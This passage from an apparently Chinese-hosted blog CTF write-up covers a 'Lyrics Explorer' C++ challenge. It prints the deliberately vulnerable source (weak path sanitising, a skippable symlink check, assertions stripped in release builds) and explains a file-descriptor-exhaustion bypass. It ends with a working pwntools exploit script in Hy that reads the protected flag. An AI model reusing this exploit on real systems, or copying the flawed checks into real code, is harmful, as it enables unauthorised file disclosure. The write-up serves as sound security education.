class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br></pre></td><td class="code"><pre><span class="line">#include &lt;dirent.h&gt;</span><br><span class="line">#include &lt;fcntl.h&gt;</span><br><span class="line">#include &lt;sys/stat.h&gt;</span><br><span class="line">#include &lt;sys/time.h&gt;</span><br><span class="line">#include &lt;sys/types.h&gt;</span><br><span class="line">#include &lt;sys/resource.h&gt;</span><br><span class="line">#include &lt;unistd.h&gt;</span><br><span class="line"></span><br><span class="line">#include &lt;cassert&gt;</span><br><span class="line">#include &lt;cstdio&gt;</span><br><span class="line">#include &lt;cstring&gt;</span><br><span class="line">#include &lt;string&gt;</span><br><span class="line">#include &lt;vector&gt;</span><br><span class="line"></span><br><span class="line">namespace globals &#123;</span><br><span class="line">  std::vector&lt;int&gt; records;</span><br><span class="line">&#125;  // namespace globals</span><br><span class="line"></span><br><span class="line">static void set_limits() &#123;</span><br><span class="line">  struct rlimit rlim;</span><br><span class="line"></span><br><span class="line">  rlim.rlim_cur = rlim.rlim_max = 0;</span><br><span class="line">  setrlimit(RLIMIT_CORE, &amp;rlim);</span><br><span class="line">  </span><br><span class="line">  rlim.rlim_cur = rlim.rlim_max = 2;</span><br><span class="line">  setrlimit(RLIMIT_CPU, &amp;rlim);</span><br><span class="line"></span><br><span class="line">  rlim.rlim_cur = rlim.rlim_max = 64 * 1024;</span><br><span class="line">  setrlimit(RLIMIT_FSIZE, &amp;rlim);</span><br><span class="line"></span><br><span class="line">  rlim.rlim_cur = rlim.rlim_max = 32;</span><br><span class="line">  setrlimit(RLIMIT_NOFILE, &amp;rlim);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static void welcome() &#123;</span><br><span class="line">  printf(&quot;Welcome to the Lyrics Explorer!\n&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static ssize_t read_line(int fd, char *buffer, size_t size) &#123;</span><br><span class="line">  ssize_t bytes_read = 0;</span><br><span class="line">  while (size &gt; 0) &#123;</span><br><span class="line">    char c;</span><br><span class="line">    ssize_t ret = read(fd, &amp;c, 1);</span><br><span class="line"></span><br><span class="line">    if (ret &lt;= 0) &#123;</span><br><span class="line">      break;</span><br><span class="line">    &#125; else if (c == &apos;\n&apos;) &#123;</span><br><span class="line">      *buffer = &apos;\0&apos;;</span><br><span class="line">      break;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    *buffer++ = c;</span><br><span class="line">    bytes_read++;</span><br><span class="line">    size--;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  return bytes_read;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static ssize_t read_line_buffered(int fd, char *buffer, size_t size) &#123;</span><br><span class="line">  if (size == 0) &#123;</span><br><span class="line">    return -1;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  ssize_t ret = read(fd, buffer, size - 1);</span><br><span class="line"></span><br><span class="line">  if (ret &lt;= 0) &#123;</span><br><span class="line">    return ret;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  buffer[ret] = &apos;\0&apos;;</span><br><span class="line"></span><br><span class="line">  for (ssize_t i = 0; i &lt; ret; i++) &#123;</span><br><span class="line">    if (buffer[i] == &apos;\0&apos;) &#123;</span><br><span class="line">      buffer[i] = &apos;.&apos;;</span><br><span class="line">    &#125; else if (buffer[i] == &apos;\n&apos;) &#123;</span><br><span class="line">      buffer[i] = &apos;\0&apos;;</span><br><span class="line">      lseek(fd, -(ret - i - 1), SEEK_CUR);</span><br><span class="line">      return i;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  return ret;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static int load_int() &#123;</span><br><span class="line">  char buffer[32] = &#123; 0 &#125;;</span><br><span class="line">  </span><br><span class="line">  ssize_t bytes_read = read_line(STDIN_FILENO, buffer, sizeof(buffer));</span><br><span class="line">  if (bytes_read &lt;= 0) &#123;</span><br><span class="line">    return 0;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  return atoi(buffer);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static bool sanitize_path(char *buffer) &#123;</span><br><span class="line">  if (strstr(buffer, &quot;../&quot;) != NULL) &#123;</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  return true;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static bool list_files(const char *path, std::vector&lt;std::string&gt; *files) &#123;</span><br><span class="line">  files-&gt;clear();</span><br><span class="line"></span><br><span class="line">  DIR *dir;</span><br><span class="line">  struct dirent *ent;</span><br><span class="line">  if ((dir = opendir (path)) != NULL) &#123;</span><br><span class="line">    while ((ent = readdir (dir)) != NULL) &#123;</span><br><span class="line">      if (!strcmp(ent-&gt;d_name, &quot;.&quot;) || !strcmp(ent-&gt;d_name, &quot;..&quot;)) &#123;</span><br><span class="line">        continue;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      files-&gt;push_back(ent-&gt;d_name);</span><br><span class="line">    &#125;</span><br><span class="line">    closedir (dir);</span><br><span class="line">    return true;</span><br><span class="line">  &#125; else &#123;</span><br><span class="line">    perror (&quot;[-] Error&quot;);</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static bool list_bands() &#123;</span><br><span class="line">  std::vector&lt;std::string&gt; bands;</span><br><span class="line">  if (!list_files(&quot;./data&quot;, &amp;bands)) &#123;</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  for (const auto&amp; band : bands) &#123;</span><br><span class="line">    printf(&quot;%s\n&quot;, band.c_str());</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  return true;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static bool list_songs() &#123;</span><br><span class="line">  char buffer[32] = &#123; /* zero padding */ &#125;;</span><br><span class="line"></span><br><span class="line">  printf(&quot;Band: &quot;);</span><br><span class="line">  read_line(STDIN_FILENO, buffer, sizeof(buffer));</span><br><span class="line"></span><br><span class="line">  // Never trust user input!!</span><br><span class="line">  if (!sanitize_path(buffer)) &#123;</span><br><span class="line">    printf(&quot;[-] Nice try!\n&quot;);</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  char path[48] = &quot;./data/&quot;;</span><br><span class="line">  strncat(path, buffer, sizeof(path) - 7);</span><br><span class="line"></span><br><span class="line">  std::vector&lt;std::string&gt; songs;</span><br><span class="line">  if (!list_files(path, &amp;songs)) &#123;</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  for (const auto&amp; song : songs) &#123;</span><br><span class="line">    printf(&quot;%s\n&quot;, song.c_str());</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  return true;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static bool open_lyrics() &#123;</span><br><span class="line">  // Don&apos;t allow opening too many lyrics at once.</span><br><span class="line">  if (globals::records.size() &gt;= 16) &#123;</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  // Load and sanitize user input.</span><br><span class="line">  char band[32];</span><br><span class="line">  printf(&quot;Band: &quot;);</span><br><span class="line">  read_line(STDIN_FILENO, band, sizeof(band));</span><br><span class="line"></span><br><span class="line">  char song[32];</span><br><span class="line">  printf(&quot;Song: &quot;);</span><br><span class="line">  read_line(STDIN_FILENO, song, sizeof(song));</span><br><span class="line"></span><br><span class="line">  // Hackers these days...</span><br><span class="line">  if (!sanitize_path(band) || !sanitize_path(song)) &#123;</span><br><span class="line">    printf(&quot;[-] Nice try!\n&quot;);</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  // Form the final path of the lyrics in our database.</span><br><span class="line">  char path[128];</span><br><span class="line">  snprintf(path, sizeof(path), &quot;./data/%s/%s&quot;, band, song);</span><br><span class="line"></span><br><span class="line">  // Open the path, make sure that it&apos;s a file (and not e.g. directory), and</span><br><span class="line">  // save the file descriptor.</span><br><span class="line">  int fd1 = open(path, O_RDONLY);</span><br><span class="line">  if (fd1 == -1) &#123;</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  struct stat st;</span><br><span class="line">  if (fstat(fd1, &amp;st) != 0 || !S_ISREG(st.st_mode)) &#123;</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  globals::records.push_back(fd1);</span><br><span class="line"></span><br><span class="line">  // Better safe then sorry. Make sure that the path also doesn&apos;t point to a</span><br><span class="line">  // symbolic link.</span><br><span class="line">  int fd2 = open(path, O_RDONLY | O_NOFOLLOW);</span><br><span class="line">  if (fd2 == -1) &#123;</span><br><span class="line">    printf(&quot;[-] Detected attempt to open a symbolic link!\n&quot;);</span><br><span class="line"></span><br><span class="line">    // Some kind of attack detected?</span><br><span class="line">    return true;</span><br><span class="line">  &#125;</span><br><span class="line">  close(fd2);</span><br><span class="line"></span><br><span class="line">  // Extra check to protect the flag.</span><br><span class="line">  if (strstr(path, &quot;flag&quot;) != NULL) &#123;</span><br><span class="line">    printf(&quot;[-] Not today\n&quot;);</span><br><span class="line"></span><br><span class="line">    close(globals::records.back());</span><br><span class="line">    globals::records.pop_back();</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  printf(&quot;[+] Opened the lyrics as new record %zu\n&quot;,</span><br><span class="line">         globals::records.size() - 1);</span><br><span class="line"></span><br><span class="line">  return true;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static bool read_lyrics() &#123;</span><br><span class="line">  printf(&quot;Record ID: &quot;);</span><br><span class="line">  int idx = load_int();</span><br><span class="line"></span><br><span class="line">  if (idx &lt; 0 || idx &gt;= globals::records.size()) &#123;</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  char buffer[4096];</span><br><span class="line">  ssize_t bytes_read = read_line_buffered(globals::records[idx],</span><br><span class="line">                                          buffer, sizeof(buffer));</span><br><span class="line"></span><br><span class="line">  // Let&apos;s make sure we&apos;re not disclosing any sensitive data due to potential</span><br><span class="line">  // bugs in the program.</span><br><span class="line">  if (bytes_read &gt; 0) &#123;</span><br><span class="line">    if (strstr(buffer, &quot;DrgnS&quot;)) &#123;</span><br><span class="line">      printf(&quot;[-] Attack detected and stopped!\n&quot;);</span><br><span class="line"></span><br><span class="line">      assert(close(globals::records[idx]) == 0);</span><br><span class="line">      memmove(&amp;globals::records[idx], &amp;globals::records[idx + 1],</span><br><span class="line">              (globals::records.size() - idx - 1) * sizeof(int));</span><br><span class="line">      globals::records.pop_back();</span><br><span class="line">      return true;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  printf(&quot;%s\n&quot;, buffer);</span><br><span class="line">  return true;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static bool write_lyrics() &#123;</span><br><span class="line">  // This feature is not fully tested, let&apos;s hope that it works...</span><br><span class="line"></span><br><span class="line">  printf(&quot;Record ID: &quot;);</span><br><span class="line">  int idx = load_int();</span><br><span class="line"></span><br><span class="line">  if (idx &lt; 0 || idx &gt;= globals::records.size()) &#123;</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  printf(&quot;Data length: &quot;);</span><br><span class="line">  int length = load_int();</span><br><span class="line"></span><br><span class="line">  if (length &lt; 0 || length &gt; 1024) &#123;</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  char buffer[1024];</span><br><span class="line">  printf(&quot;Data: &quot;);</span><br><span class="line">  size_t bytes_read = read(STDIN_FILENO, buffer, length);</span><br><span class="line"></span><br><span class="line">  assert(bytes_read == length);</span><br><span class="line"></span><br><span class="line">  if (write(globals::records[idx], buffer, bytes_read) != bytes_read) &#123;</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  return true;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static bool close_record() &#123;</span><br><span class="line">  printf(&quot;Record ID: &quot;);</span><br><span class="line">  int idx = load_int();</span><br><span class="line"></span><br><span class="line">  if (idx &lt; 0 || idx &gt;= globals::records.size()) &#123;</span><br><span class="line">    return false;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  close(globals::records[idx]);</span><br><span class="line">  memmove(&amp;globals::records[idx], &amp;globals::records[idx + 1],</span><br><span class="line">          (globals::records.size() - idx - 1) * sizeof(int));</span><br><span class="line">  globals::records.pop_back();</span><br><span class="line"></span><br><span class="line">  return true;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int main() &#123;</span><br><span class="line">  // Disable stdout/stderr buffering.</span><br><span class="line">  setbuf(stdout, NULL);</span><br><span class="line">  setbuf(stderr, NULL);</span><br><span class="line"></span><br><span class="line">  // Set some safe limits on the resources used by the process.</span><br><span class="line">  set_limits();</span><br><span class="line"></span><br><span class="line">  // Print the welcome message.</span><br><span class="line">  welcome();</span><br><span class="line"></span><br><span class="line">  // Main program loop.</span><br><span class="line">  while (1) &#123;</span><br><span class="line">    char buffer[32] = &#123; 0 &#125;;</span><br><span class="line"></span><br><span class="line">    printf(&quot;Command&gt; &quot;);</span><br><span class="line">    read_line(STDIN_FILENO, buffer, sizeof(buffer));</span><br><span class="line"></span><br><span class="line">    if (!strcmp(buffer, &quot;bands&quot;)) &#123;</span><br><span class="line">      if (!list_bands()) &#123;</span><br><span class="line">        break;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125; else if (!strcmp(buffer, &quot;songs&quot;)) &#123;</span><br><span class="line">      if (!list_songs()) &#123;</span><br><span class="line">        break;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125; else if (!strcmp(buffer, &quot;open&quot;)) &#123;</span><br><span class="line">      if (!open_lyrics()) &#123;</span><br><span class="line">        break;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125; else if (!strcmp(buffer, &quot;read&quot;)) &#123;</span><br><span class="line">      if (!read_lyrics()) &#123;</span><br><span class="line">        break;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125; else if (!strcmp(buffer, &quot;write&quot;)) &#123;</span><br><span class="line">      if (!write_lyrics()) &#123;</span><br><span class="line">        break;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125; else if (!strcmp(buffer, &quot;close&quot;)) &#123;</span><br><span class="line">      if (!close_record()) &#123;</span><br><span class="line">        break;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125; else if (!strcmp(buffer, &quot;exit&quot;)) &#123;</span><br><span class="line">      break;</span><br><span class="line">    &#125; else &#123;</span><br><span class="line">      printf(&quot;[-] Unknown command\n&quot;);</span><br><span class="line">      break;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  printf(&quot;Bye!\n&quot;);</span><br><span class="line"></span><br><span class="line">  return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>A basic leaky sandbox is implemented, but no other logic to protect it. The concatenation using <code>snprintf</code> will make it possible to jump to one level up of sandboxed directory, thus give us the ability to readout the flag.</p>
<p>This easy? Of course not! The thing is, it stopped you from reading flag by closing it when "flag" is detected after symblink check, but if it is a symlink, it will be jumped over. And some several ensurence, like no flag prologue can be readout, and the resources are limited.</p>
<p>This is actually a strange point that the resources are limited, since no one can reach the top of the resource limit when you firstly take a look. It actually can't reach the limit with that global variable size check, which ensures we can't have more than 16 files opened, and the resource limits fd opened as 32. And other resouces, I really don't think they are useful.</p>
<p>If you think about it, you'll find out that when you reach the fd limit somehow, the second <code>open</code> will fail no matter if the file is a symlink, thus jump over the flag check. This is the key part, but how to reach the limit?</p>
<h3 id="assertions-твой-мать">assertions, твой мать!</h3>
<p>This is what I missed during the CTF...</p>
<p>The name of this challenge is production..Which means the binary will be productionally compiled, release compiled, which means.. THE ASSERTIONS ARE ALL GONE!</p>
<p>Without assertion, close record when flag prologue detected WILL NOT CLOSE the fd.. Thus we can reach the limit..</p>
<p>The rest things are simple enough... Once we reach the fd limit, the second open will fail, we will be back without "flag" path check, to bypass the prologue check when reading flag, be noticed there's a uninitialized variable bug there. So we can simply read flag out, and let the second read returns 0, so we can dump out the read content..</p>
<h3 id="exploit-1">Exploit</h3>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line">(import [pwn [*]])</span><br><span class="line">(require [hy.extra.anaphoric [*]])</span><br><span class="line">(context :os &quot;linux&quot; :arch &quot;amd64&quot; :log_level &quot;debug&quot;)</span><br><span class="line"></span><br><span class="line">(setv p (process &quot;./lyrics&quot;))</span><br><span class="line"></span><br><span class="line">(defmacro until [s]</span><br><span class="line">  `(.recvuntil p (bytes ~s)))</span><br><span class="line"></span><br><span class="line">(defmacro snd [s]</span><br><span class="line">  `(.send p ~s))</span><br><span class="line"></span><br><span class="line">(defmacro sndl [s]</span><br><span class="line">  `(.sendline p ~s))</span><br><span class="line"></span><br><span class="line">(defmacro rcvl []</span><br><span class="line">  `(.recvline p))</span><br><span class="line"></span><br><span class="line">(defmacro sndlafter [&amp;rest rest]</span><br><span class="line">  `(.sendlineafter p ~@rest))</span><br><span class="line"></span><br><span class="line">(defmacro info [fmt &amp;rest rest]</span><br><span class="line">  ;; python2 fuckyou!</span><br><span class="line">  (if (= rest (,))</span><br><span class="line">    `(.info p ~fmt)</span><br><span class="line">    `(.info p (% ~fmt ~@rest))))</span><br><span class="line"></span><br><span class="line">(defn cmd [cmd]</span><br><span class="line">  (until &quot;&gt;&quot;)</span><br><span class="line">  (sndl cmd))</span><br><span class="line"></span><br><span class="line">(defn bands []</span><br><span class="line">  (cmd b&quot;songs&quot;))</span><br><span class="line"></span><br><span class="line">(defn songs [band]</span><br><span class="line">  (cmd b&quot;songs&quot;)</span><br><span class="line">  (sndlafter b&quot;Band: &quot; band))</span><br><span class="line"></span><br><span class="line">(defn open [band song]</span><br><span class="line">  (cmd b&quot;open&quot;)</span><br><span class="line">  (sndlafter b&quot;Band: &quot; band)</span><br><span class="line">  (sndlafter b&quot;Song: &quot; song))</span><br><span class="line"></span><br><span class="line">(defn read [idx]</span><br><span class="line">  (cmd b&quot;read&quot;)</span><br><span class="line">  (sndlafter b&quot;ID: &quot; (str idx)))</span><br><span class="line"></span><br><span class="line">(defn close [idx]</span><br><span class="line">  (cmd b&quot;close&quot;)</span><br><span class="line">  (sndlafter b&quot;ID: &quot; (str idx)))</span><br><span class="line"></span><br><span class="line">(defmain [&amp;rest args]</span><br><span class="line"></span><br><span class="line">  ;; use lyrics binary it self to trigger the reading of flag prologue</span><br><span class="line">  (for [i (range 16)]</span><br><span class="line">    (open b&quot;..&quot; b&quot;lyrics&quot;))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">  ;; read until flag prologue of each binary</span><br><span class="line">  ;; number 13 is my local compiled version, it may vary when you do with</span><br><span class="line">  ;; different binary that how many read you need to get to the prologue string</span><br><span class="line">  (for [i (range 16)]</span><br><span class="line">    (for [j (range 13)]</span><br><span class="line">      (read 0)))</span><br><span class="line">  </span><br><span class="line">  ;; open until we are close to fd limit</span><br><span class="line">  (for [i (range 12)]</span><br><span class="line">    (open b&quot;The Beatles&quot; b&quot;Girl&quot;))</span><br><span class="line">  </span><br><span class="line">  ;; read out flag</span><br><span class="line">  (open b&quot;..&quot; b&quot;flag&quot;)</span><br><span class="line"></span><br><span class="line">  ;; now we do read flag out, then read it again, second read will return 0, </span><br><span class="line">  ;; thus the first cached result will be read out</span><br><span class="line">  (read 12)</span><br><span class="line">  (read 11)</span><br><span class="line"></span><br><span class="line">  (.interactive p))</span><br></pre></td></tr></table></figure>

    </div>
    
    <div class="post-footer">
        <div>
            
            转载声明：
            商业转载请联系作者获得授权,非商业转载请注明出处 © <a href="" target="_blank">Snippet</a>
            
            
        </div>
        <div>
            
        </div>
    </div>
</article>
<div class="article-nav prev-next-wrap clearfix">
    
    <a href="/2019/09/18/n1ctf-2019-hs/" class="pre-post btn btn-default" title='N1CTF 2019 type checker writeup'>
        <i class="fa fa-angle-left fa-fw"></i><span class="hidden-lg">上一篇</span>
        <span class="hidden-xs">
            N1CTF 2019 type checker writeup</span>
    </a>
    
    
</div>

<div id="comments">
    

<div id="vcomments" class="valine"></div>
<!--<script src="//cdn1.lncld.net/static/js/3.0.4/av-min.js"></script>
<script src="/assets/valine.min.js"></script>-->
<script src="//cdn1.lncld.net/static/js/3.0.4/av-min.js"></script>
<script src="//unpkg.com/valine@latest/dist/Valine.min.js"></script>
<script>
new Valine({
    av: AV,
    el: '#vcomments',
    appId: 'sBJ8fsglfz3e3AeXQbE8d8H8-gzGzoHsz',
    appKey: 'WFXH17M73py6bGqWl0ffMbHG',
    placeholder: '说点什么吧',
    notify: false,
    verify: true,
    avatar: 'mm',
    meta: 'nick,mail'.split(','),
    pageSize: '10',
    path: window.location.pathname,
    lang: 'zh-CN'.toLowerCase()
})
</script>



</div>


                </main>
                
                    <aside id="article-toc" role="navigation" class="col-md-4">
    <div class="widget">
        <h3 class="title">
            文章目录
        </h3>
        
